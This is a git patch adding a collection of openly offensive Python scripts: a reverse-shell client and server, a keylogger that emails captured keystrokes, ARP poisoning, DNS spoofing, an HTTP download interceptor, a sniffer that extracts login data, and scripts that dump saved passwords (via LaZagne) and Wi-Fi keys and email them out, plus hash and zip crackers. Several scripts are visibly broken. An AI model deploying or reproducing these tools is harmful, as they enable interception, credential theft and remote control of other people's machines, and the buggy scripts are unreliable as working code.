From 2eff7497bc2d3094294587b52417c7d5498ce5ec Mon Sep 17 00:00:00 2001 From: Zeid Al-Ameedi Date: Tue, 29 Oct 2019 10:56:39 -0700 Subject: [PATCH] Multiple modern security scripts added --- Security/arp.py | 34 +++++++++++++ Security/client.py | 23 +++++++++ Security/dictionary_attack.py | 37 ++++++++++++++ Security/dns_spoof.py | 50 ++++++++++++++++++ Security/download.py | 11 ++++ Security/execute_commands.py | 33 ++++++++++++ Security/file_interceptor.py | 41 +++++++++++++++ Security/keygenerator.py | 34 +++++++++++++ Security/keylogger.py | 41 +++++++++++++++ Security/mac_changer.py | 43 ++++++++++++++++ Security/mitm.py | 59 +++++++++++++++++++++ Security/net_cut.py | 22 ++++++++ Security/network_scanner.py | 93 ++++++++++++++++++++++++++++++++++ Security/packet_sniffer.py | 43 ++++++++++++++++ Security/port_scanner.py | 41 +++++++++++++++ Security/retrieve_passwords.py | 39 ++++++++++++++ Security/server.py | 64 +++++++++++++++++++++++ Security/win10_pw.py | 34 +++++++++++++ Security/zip_cracker.py | 26 ++++++++++ 19 files changed, 768 insertions(+) create mode 100644 Security/arp.py create mode 100644 Security/client.py create mode 100644 Security/dictionary_attack.py create mode 100644 Security/dns_spoof.py create mode 100644 Security/download.py create mode 100644 Security/execute_commands.py create mode 100644 Security/file_interceptor.py create mode 100644 Security/keygenerator.py create mode 100644 Security/keylogger.py create mode 100755 Security/mac_changer.py create mode 100644 Security/mitm.py create mode 100644 Security/net_cut.py create mode 100644 Security/network_scanner.py create mode 100644 Security/packet_sniffer.py create mode 100644 Security/port_scanner.py create mode 100644 Security/retrieve_passwords.py create mode 100644 Security/server.py create mode 100644 Security/win10_pw.py create mode 100644 Security/zip_cracker.py diff --git a/Security/arp.py b/Security/arp.py new file mode 100644 index 00000000..5bc5adc3 --- /dev/null +++ b/Security/arp.py @@ -0,0 +1,34 @@ +import scapy.all as scapy +import subprocess +import sys +import re +import socket + +ip = socket.gethostbyname(socket.gethostname()) + +def scan(ip): + arp_request = scapy.ARP(pdst=ip) #Creates a request with that IP + broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff") #broadcast mac address + arp_request_broadcast = broadcast/arp_request + answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0] #Lists that gave a response + + + #Printing them out + print("IP\t\t\tMAC Address\n----------------------------------------") + for element in answered_list: + try: + print(element[1].psrc + "\t\t" + element[1].hwsrc) + except: + return 0 + + +def main(): + global ip + while ip[-1] != '.': + ip = ip[:-1] + scan(ip + "1/24") + +if __name__ == '__main__': + if len(sys.argv) > 1: + opt_ip = sys.argv[1] + main() \ No newline at end of file diff --git a/Security/client.py b/Security/client.py new file mode 100644 index 00000000..46451cd9 --- /dev/null +++ b/Security/client.py @@ -0,0 +1,23 @@ +import socket +import os +import subprocess + +s = socket.socket() +host = '' #Local IP Address # Must be inserted before run into code +port = 9999 + +s.connect((host, port)) + +while True: + data = s.recv(1024) + if data[:2].decode("utf-8") == 'cd': + os.chdir(data[3:].decode("utf-8")) + + if len(data) > 0: + cmd = subprocess.Popen(data[:].decode("utf-8"),shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE) + output_byte = cmd.stdout.read() + cmd.stderr.read() + output_str = str(output_byte,"utf-8") + currentWD = os.getcwd() + "> " + s.send(str.encode(output_str + currentWD)) + + print(output_str) diff --git a/Security/dictionary_attack.py b/Security/dictionary_attack.py new file mode 100644 index 00000000..8b38ce6e --- /dev/null +++ b/Security/dictionary_attack.py @@ -0,0 +1,37 @@ +import hashlib +import sys +import crypt + +global g_hash + +def brute_force(hashstr, fi): + temp = [] + counter = 0 + if '$6$' in hashstr: + temp = hashstr.split('$') + salt = temp[2] + correct_hash = g_hash + for guess in fi: + counter += 1 + guess = guess.rstrip() + result = crypt.crypt(guess, '$6$' + salt) + if result == correct_hash: + print("\n[{0}] Attempts.\n\n".format(counter)) + print("[+] Password found: {0}".format(guess)) + exit() + print("[-] No password found.") + else: + print("SHA512 hashing algorithm was not used in this instance.") + +def main(): + global g_hash + if len(sys.argv) < 2: + print("[-] Pass in dictionary file.") + else: + file_cracker = open(sys.argv[1], "r") + g_hash = raw_input("[+] Input the hash [SHA512]: ") + brute_force(g_hash, file_cracker) + + +if '__main__' == __name__: + main() \ No newline at end of file diff --git a/Security/dns_spoof.py b/Security/dns_spoof.py new file mode 100644 index 00000000..47497cc0 --- /dev/null +++ b/Security/dns_spoof.py @@ -0,0 +1,50 @@ +import subprocess +import netfilterqueue +import scapy.all as scapy + +def process_packet(packet): + scapy_packet = scapy.IP(packet.get_payload()) + if scapy_packet.haslayer(scapy.DNSRR): + qname = scapy_packet[scapy.DNSQR].qname + if "bing" in qname: + print("[+] Spoofing Target") + answer = scapy.DNSRR(rrname=qname, rdata='10.0.2.15') + scapy_packet[scapy.DNS].an = answer + scapy_packet[scapy.DNS].ancount = 1 + del scapy_packet[scapy.IP].chksum + del scapy_packet[scapy.IP].len + del scapy_packet[scapy.UDP].chksum + del scapy_packet[scapy.UDP].len + + packet.set_payload(str(scapy_packet)) + + packet.accept() + +def main(): + opt = 3 + try: + while True: + print("Run script on Host[1] or Victim[2]?") + opt = input() + if (opt == 1): + print("[+] Running dns spoof attack on Host...") + subprocess.call("iptables -I OUTPUT -j NFQUEUE --queue-num 0", shell=True) + subprocess.call("iptables -I INPUT -j NFQUEUE --queue-num 0", shell=True) + break + elif (opt == 2): + print("[+] Running dns spoof on Target...") + subprocess.call("iptables -I FORWARD -j NFQUEUE --queue-num 0", shell=True) + break + else: + continue + + queue = netfilterqueue.NetfilterQueue() + queue.bind(0, process_packet) #Connect it to your queue ID and callback function + queue.run() + except(KeyboardInterrupt): + subprocess.call("iptables --flush", shell=True) + print("\n\n[+] IP Tables flushed") + + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/Security/download.py b/Security/download.py new file mode 100644 index 00000000..5ca08627 --- /dev/null +++ b/Security/download.py @@ -0,0 +1,11 @@ +import requests + +def download(url): + get_response = requests.get(url) + file_name = url.split("/") + with open(file_name[-1], "wb") as outfile: + outfile.write(get_response.content) + + + +download("https://proxy.duckduckgo.com/iu/?u=http%3A%2F%2Fst.motortrend.com%2Fuploads%2Fsites%2F5%2F2017%2F11%2F2020-Tesla-Roadster-11.jpg&f=1") diff --git a/Security/execute_commands.py b/Security/execute_commands.py new file mode 100644 index 00000000..e026bfde --- /dev/null +++ b/Security/execute_commands.py @@ -0,0 +1,33 @@ +import subprocess +import smtplib +import os +import optparse +from optparse import OptionParser + +def send_mail(email, password, message): + server = smtplib.SMTP("smtp.gmail.com", 587) + server.starttls() + server.login(email,password) + server.sendmail(email, email, message) + server.quit() + +def main(): + parser = OptionParser() + parser.add_option("-m", "--mail", dest="email", help="Your email") + parser.add_option("-p", "--pass", dest="password", help="Your pass") + (option, args) = parser.parse_args() + email = option.email + password = option.password + while True: + try: + print "\n" + print("{0}~$: ".format(os.getcwd())) + command = raw_input() + result=subprocess.check_output(command, shell=True) + send_mail(email,password, result) + except KeyboardInterrupt: + break + print("Program complete.") + +if __name__=='__main__': + main() \ No newline at end of file diff --git a/Security/file_interceptor.py b/Security/file_interceptor.py new file mode 100644 index 00000000..c1d62900 --- /dev/null +++ b/Security/file_interceptor.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +import netfilterqueue +import scapy.all as scapy +import subprocess + +ack_list = [] + + +def set_load(packet, load): + packet[scapy.Raw].load = load + del packet[scapy.IP].len + del packet[scapy.IP].chksum + del packet[scapy.TCP].chksum + return packet + + +def process_packet(packet): + scapy_packet = scapy.IP(packet.get_payload()) + if scapy_packet.haslayer(scapy.Raw): + if scapy_packet[scapy.TCP].dport == 80: + if ".exe" in scapy_packet[scapy.Raw].load: + print("[+] exe Request") + print(scapy_packet.show()) + ack_list.append(scapy_packet[scapy.TCP].ack) + + elif scapy_packet[scapy.TCP].sport == 80: + if scapy_packet[scapy.TCP].seq in ack_list: + ack_list.remove(scapy_packet[scapy.TCP].seq) + print("[+] Replacing file.") + modified_packet = set_load(scapy_packet, "HTTP/1.1 301 Moved permanently\nLocation: http://10.0.2.15\n\n") + packet.set_payload(str(modified_packet)) + + packet.accept() + +queue = netfilterqueue.NetfilterQueue() +queue.bind(0, process_packet) +queue.run() + +# iptables --flush +# iptables -I FORWARD -j NFQUEUE --queue-num 0 \ No newline at end of file diff --git a/Security/keygenerator.py b/Security/keygenerator.py new file mode 100644 index 00000000..f82affd6 --- /dev/null +++ b/Security/keygenerator.py @@ -0,0 +1,34 @@ +import os +import random +import sys + +# Checks if the key has the correct combination of ASCII values +def bruteforce_key(key): + chsum = 0 + for ch in key: + chsum += ord(ch) + sys.stdout.write("{0:3} | {1} \r".format(chsum, key)) + sys.stdout.flush() + return chsum + +# Creates a key based on all possible characters used in a reasonable password +def initializekey(): + key = "" + inc = 0 + while True and inc <= 100: + key += random.choice("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_!@#$%^&*") + ascii_code = bruteforce_key(key) + if ascii_code > 916: + key = "" + elif ascii_code==916: + print("Password key: {0}\t{1}".format(key, inc)) + inc += 1 + +def main(): + initializekey() + print("100 password options found.") + +if __name__ == "__main__": + main() + + diff --git a/Security/keylogger.py b/Security/keylogger.py new file mode 100644 index 00000000..6b1922cb --- /dev/null +++ b/Security/keylogger.py @@ -0,0 +1,41 @@ +from pynput.keyboard import Listener +import re +import smtplib + +def write_to_file(key): + msg = str(key).replace('\'', '') + if msg == 'Key.enter': + msg = '\n' + elif msg == 'Key.space': + msg = ' ' + elif msg == 'Key.shift_r': + msg = '' + elif msg =='Key.backspace': + msg = '' + elif msg.find('Key.'): #Was gonna use reg exp but this was simpler + msg=='' + elif msg.find('Key.ctrlc'): + email() + msg="SCRIPT STOPPED RUNNING HERE." + with open("log.txt", 'a') as fi: + fi.write(msg) + +def email(): + subject="Logfile" + try: + with smtplib.SMTP('smtp.gmail.com', 587) as smtp: + smtp.ehlo() # identify ourselves + smtp.starttls() # encrypts traffic + smtp.ehlo() + smtp.login('', '') # LOGS IN + f = open("log.txt", 'r') + body = f.write() + msg = f'Subject: {subject}\n\n{body}' + smtp.sendmail('', '', self.msg) + f.close() + except(): + print("Email was not sent successfully...") + +with Listener(on_press=write_to_file) as li: + li.join() + diff --git a/Security/mac_changer.py b/Security/mac_changer.py new file mode 100755 index 00000000..7d5f862b --- /dev/null +++ b/Security/mac_changer.py @@ -0,0 +1,43 @@ +#! usr/bin/env python + +# Programmer: Zeid Al-Ameedi +# Details: +# Run as python script.py -i [interface] -m [new mac address] +# Changes the mac address on desired network interface. Uses Regex +# to determine if successful by parsing ifconfig command + +import subprocess +import optparse +import re + +def main(): + global interface + global new_mac + + parser = optparse.OptionParser() #initialize instance of that object + parser.add_option("-i", "--interface", dest = "interface", help="Network Interface to change the Mac Address") + parser.add_option("-m", "--mac", dest="new_mac", help = "Enter new mac address in form xx:xx:xx:xx:xx:xx") + + (options, args) = parser.parse_args() + if not options.interface or not options.new_mac: + print("Interface and new mac address must be given.") + else: + interface=options.interface + new_mac=options.new_mac + newMac() + + +def newMac(): + subprocess.call(["ifconfig", interface, "down"]) + subprocess.call(["ifconfig", interface, "hw", "ether", new_mac]) + subprocess.call(["ifconfig", interface, "up"]) + + output = subprocess.check_output(["ifconfig", interface]) + matches = re.search(r"\w\w:\w\w:\w\w:\w\w:\w\w:\w\w", output) + if(new_mac in matches.group()): + print("[+] Mac Address successfully changed to {0}".format(new_mac)) + else: + print("[-] Mac Address was not changed.") + +if __name__ == '__main__': + main() diff --git a/Security/mitm.py b/Security/mitm.py new file mode 100644 index 00000000..ce05bcad --- /dev/null +++ b/Security/mitm.py @@ -0,0 +1,59 @@ +#! usr/bin/etc python3 + +import scapy.all as scapy +from subprocess import Popen, PIPE +import re +import subprocess +import os +import sys +import time + + +# op = 2 means response not request +# Target ip [pdst] +# Target mac address [hwdst] +# Router address [psrsc] + +# Tell the router you are the victim +# Tell the victim you are the router + +def poison_arp(target_ip, target_mac, spoof_ip): + packet = scapy.ARP(op=2, pdst = target_ip, hwdst = target_mac, psrc = spoof_ip) #Associate the mac address of router with kali machine + scapy.send(packet, verbose=False) + +def restore(t_ip, m_ip, s_ip, s_m): + t_ip2 = s_ip + m_ip2 = s_m + + s_ip = t_ip + s_m = m_ip + packet = scapy.ARP(op=2, pdst = s_ip, hwdst = s_m, psrc = t_ip2, hwsrc = m_ip2) + scapy.send(packet, verbose=False) + print("[+] ARP table restored.") + +def main(): + # DO NOT FORGET PORT FORWARDING! + # subprocess.call("echo > 1 /proc/sys/net/ipv4/ip_forward", shell=True) + if(len(sys.argv) < 2): + print("Pass in Target IP/MAC + Spoof IP/MAC. . .") + else: + t_ip = sys.argv[1] + m_ip = sys.argv[2] + s_ip = sys.argv[3] + s_m = sys.argv[4] + i=0 + try: + while True: + poison_arp(t_ip, m_ip, s_ip) + poison_arp(s_ip, s_m, t_ip) + i += 2 + print("\r[+] Total Packets sent: [{0}]".format(i), end="") + sys.stdout.flush() + time.sleep(2) + except(KeyboardInterrupt): + print("\n[-] Program stopped.") + restore(t_ip, m_ip, s_ip, s_m) + exit() + +if __name__ == '__main__': + main() diff --git a/Security/net_cut.py b/Security/net_cut.py new file mode 100644 index 00000000..2d35b651 --- /dev/null +++ b/Security/net_cut.py @@ -0,0 +1,22 @@ +# Script that disconnects victim from network +# Run it with MITM attack to intercept packets from access point + +import subprocess +import netfilterqueue + +def process_packet(packet): + print(packet) + packet.drop() + +def main(): + try: + subprocess.call("iptables -I FORWARD -j NFQUEUE --queue-num 0", shell=True) + queue = netfilterqueue.NetfilterQueue() + queue.bind(0, process_packet) + queue.run() + except(KeyboardInterrupt): + subprocess.call("iptables --flush", shell=True) + + +if __name__ == '__main__': + main() diff --git a/Security/network_scanner.py b/Security/network_scanner.py new file mode 100644 index 00000000..78350e35 --- /dev/null +++ b/Security/network_scanner.py @@ -0,0 +1,93 @@ +#! usr/bin/env python + + + +# Programmer: Zeid Al-Ameedi +# Date 02/17/2019 +# Details: Code that uses module netifaces to access and get back your mac/ip address if an interface is specified. +# Possible that a machine might have more than one address. Thus we loop through ni.interfaces() and access the AF_LINK/ +# AF_INET method which is a list of dictionaries to grab all the neccessary addresses. +# THEN the ARP request/response begins on everything within the subnet + + +import scapy.all as scapy +import netifaces as ni +import os +import sys +import optparse + + + +def scan(ip): + print("\nARP protocol begins.\n") + arp_request = scapy.ARP(pdst = ip) #ARP request from my IP searching for our parameter IP + ether_obj = scapy.Ether(dst="ff:ff:ff:ff:ff:ff") #broadcast destination ff:ff....:ff must be used + # for all broadcasts that way it reaches all stations + + packet = ether_obj/arp_request #Ethernet part to send the destination broadcast, arp part for all ip + # / is used to append objects + _dict = {} + answered = scapy.srp(packet, timeout=2, verbose=False)[0] #Sends packet with our own customized ether part + + for pckt in answered: + _dict[pckt[1].psrc] = pckt[1].hwsrc + + for k in _dict.keys(): + print("IP Address: ", k) + print("Mac Address: ", _dict[k]) + print("--------------------------------------------") + +def get_AllmacAddr(): + for i in ni.interfaces(): + addr = ni.ifaddresses(i) + print(addr[ni.AF_LINK][0]['addr']) # Mac addresses on network + +def get_AllipAddr(): + for i in ni.interfaces(): + try: + ip = ni.ifaddresses(i)[ni.AF_INET][0]['addr'] + print(ip) + except: + print("That IP won't work.") + +def getIP(): + ip = ni.ifaddresses(interface)[ni.AF_INET][0]['addr'] + return ip + +def getMac(): + mac = ni.ifaddresses(interface)[ni.AF_LINK][0]['addr'] + return mac + +def main(): + global interface + global target_IP + + parser = optparse.OptionParser() + parser.add_option("-t", "--target", dest="target_IP", help = "Give IP Address directly.") + parser.add_option("-i", "--interface", dest="interface", help="Network interface to extract IP & mac addr") + (options, par) = parser.parse_args() + if not options.interface and not options.target_IP: + print("[+] Mac Addresses \n") + get_AllmacAddr() + print("\n[+] IP Addresses \n") + get_AllipAddr() + elif options.target_IP: + target_IP=options.target_IP + scan(str(target_IP)+'/24') + else: + interface=options.interface + print("\n[+] My IP Address \n") + i = getIP() + print(i) + print("\n[+] My Mac Address \n") + m = getMac() + print(m) + print("\n\n") + scan(str(i)+'/24') + + +if __name__ == '__main__': + main() + + + diff --git a/Security/packet_sniffer.py b/Security/packet_sniffer.py new file mode 100644 index 00000000..63595e52 --- /dev/null +++ b/Security/packet_sniffer.py @@ -0,0 +1,43 @@ +#! /usr/bin/env python + +import scapy.all as scapy +import sys +from scapy.layers import http + +#iface specifies interface, store (stores data in memory) prn is a callback function + +def sniff(interface): + scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet) + +def get_url(packet): + return packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path + +def get_login_info(packet): + if packet.haslayer(scapy.Raw): + load = packet[scapy.Raw].load + keywords = ["username", "user", "pass", "password", "login"] + for kw in keywords: + if kw in load: + return load + +def process_sniffed_packet(packet): + if packet.haslayer(http.HTTPRequest): + url = get_url(packet) + print("[+] HTTP Request >> " + url) + + login_info = get_login_info(packet) + if login_info: + print("\n\n[+] Possible username/password > " + login_info + "\n\n") + + + + +def main(): + interface = "" + if(len(sys.argv) >= 2): + interface=sys.argv[1] + sniff(interface) + + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/Security/port_scanner.py b/Security/port_scanner.py new file mode 100644 index 00000000..5961fce7 --- /dev/null +++ b/Security/port_scanner.py @@ -0,0 +1,41 @@ +import optparse +import socket + +def connScann(tgtHost, tgtPort): + try: + connSkt=socket(AF_INET, SOCK_STREAM) + connSkt.connect((tgtHost,tgtPort)) + print "[+]%d/tcp open"% tgtPort + connSkt.close() + except: + print '[-]%d\tcp closed'% tgtPort + +def portScan(tgtHost, tgtPorts): + try: + tgtIP=gethostbyname(tgtHost) + except: + print "[-] Cannot resolve '%s': Unknown host {0}".format(tgtHost) + return + try: + tgtName = gethostbyaddr(tgtIP) + print '\n[+] Scan results for: '+tgtName[0] + except: + + +def main(): + parser = optparse.OptionParser("usage%prog "+"-H -p ") + parser.add_option('-H', dest='tgtHost', type='string', help='specify target host') + parser.add_option('-P', dest='tgtPort', type='string', help='specifict target port') + (options, args) = parser.parse_args() + tgtHost=options.tgtHost + tgtPorts=str(options.tgtPort).split('. ') + if tgtHost==None or tgtPorts==None: + print("[-] Must specify target host and port(s)") + exit() + + + + + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/Security/retrieve_passwords.py b/Security/retrieve_passwords.py new file mode 100644 index 00000000..ca914813 --- /dev/null +++ b/Security/retrieve_passwords.py @@ -0,0 +1,39 @@ +import subprocess +import smtplib +import os +import optparse +from optparse import OptionParser +import requests + +def download(url): + get_response = requests.get(url) + file_name = url.split("/") + with open(file_name[-1], "wb") as outfile: + outfile.write(get_response.content) + +def send_mail(email, password, message): + server = smtplib.SMTP("smtp.gmail.com", 587) + server.starttls() + server.login(email,password) + server.sendmail(email, email, message) + server.quit() + +def main(): + parser = OptionParser() + parser.add_option("-m", "--mail", dest="email", help="Your email") + parser.add_option("-p", "--pass", dest="password", help="Your pass") + parser.add_option("-u", "--url", dest="url", help="File to download") + (option, args) = parser.parse_args() + email = option.email + password = option.password + url = option.url + download(url) + try: + command = "lazagne.exe all" + result = subprocess.check_output(command,shell=True) + send_mail(email, password, result) + except: + print "Unsuccessful execution." + +if __name__=='__main__': + main() diff --git a/Security/server.py b/Security/server.py new file mode 100644 index 00000000..1273945f --- /dev/null +++ b/Security/server.py @@ -0,0 +1,64 @@ +import socket +import sys +import os + +# Rules are as follows; + +# Create socket object/ bind(host,port) / send / listen / recv / close + +def build_socket(): + try: + global host + global port + global sk + + host = "" + port = 9999 + sk = socket.socket() + except: + print("Error") + +def bind_socket(): + try: + global host + global port + global sk + + print("Binding Port ... " + str(port)) + sk.bind((host,port)) #Takes tuple of host/port as argument + sk.listen(5) #Listening will allow the server to look out for the connection + + except: + print("Error") + # Recursively call it until the bind is successful + bind_socket() + + +def accept(): + global sk + conn, address = sk.accept() + if(conn != None): + print("Connection has been accepted" + " IP Address: ", address[0], " Port#: ",address[1]) + read_cmd(conn) + conn.close() + +def read_cmd(conn): + while True: + cmd = input() + if cmd == 'quit' or cmd == 'Quit': + conn.close() + sk.close() + sys.exit() + if len(str.encode(cmd)) > 0: + conn.send(str.encode(cmd)) + rcv = str(conn.recv(1024),"utf-8") + print(rcv) + print("\n") + + +def main(): + build_socket() + bind_socket() + accept() + +main() diff --git a/Security/win10_pw.py b/Security/win10_pw.py new file mode 100644 index 00000000..f7ef12d6 --- /dev/null +++ b/Security/win10_pw.py @@ -0,0 +1,34 @@ +import subprocess +import smtplib +import os +import optparse +from optparse import OptionParser + +def send_mail(email, password, message): + server = smtplib.SMTP("smtp.gmail.com", 587) + server.starttls() + server.login(email,password) + server.sendmail(email, email, message) + server.quit() + +def main(): + parser = OptionParser() + parser.add_option("-m", "--mail", dest="email", help="Your email") + parser.add_option("-p", "--pass", dest="password", help="Your pass") + (option, args) = parser.parse_args() + email = option.email + password = option.password + + command = "netsh wlan show profile" + networks = subprocess.check_output(command, shell=True) + net_name = re.findall("(?:Profile\s)(.*)", networks) + result = "" + + for network_name in net_name: + command = "netsh wlan show profile" + network_name + " key=clear" + cur_res=subprocess.check_output(command, shell=True) + result = result + cur_res + send_mail(email, password, result) + +if __name__=='__main__': + main() \ No newline at end of file diff --git a/Security/zip_cracker.py b/Security/zip_cracker.py new file mode 100644 index 00000000..a05f4ae5 --- /dev/null +++ b/Security/zip_cracker.py @@ -0,0 +1,26 @@ +import zipfile +import sys +from threading import thread + +def extractFile(zfile, hash_dict): + try: + zfile.extractall(pwd=password) + print("[+] Password found: {0}".format(password)) + exit() + except RuntimeError: + return + +def main(): + if len(sys.argv < 2): + print("[-] Pass zipfile and dictionary") + else: + zfile = zipfile.ZipFile(sys.argv[1], "r") + hash_dict = open(sys.argv[2], 'r') + for password in hash_dict: + password = word.strip('\n') + t = thread(target=extractFile, args=(zfile, password)) extractFile(zfile, hash_dict) + print("[-] Incorrect password list") + + +if __name__ == '__main__': + main() \ No newline at end of file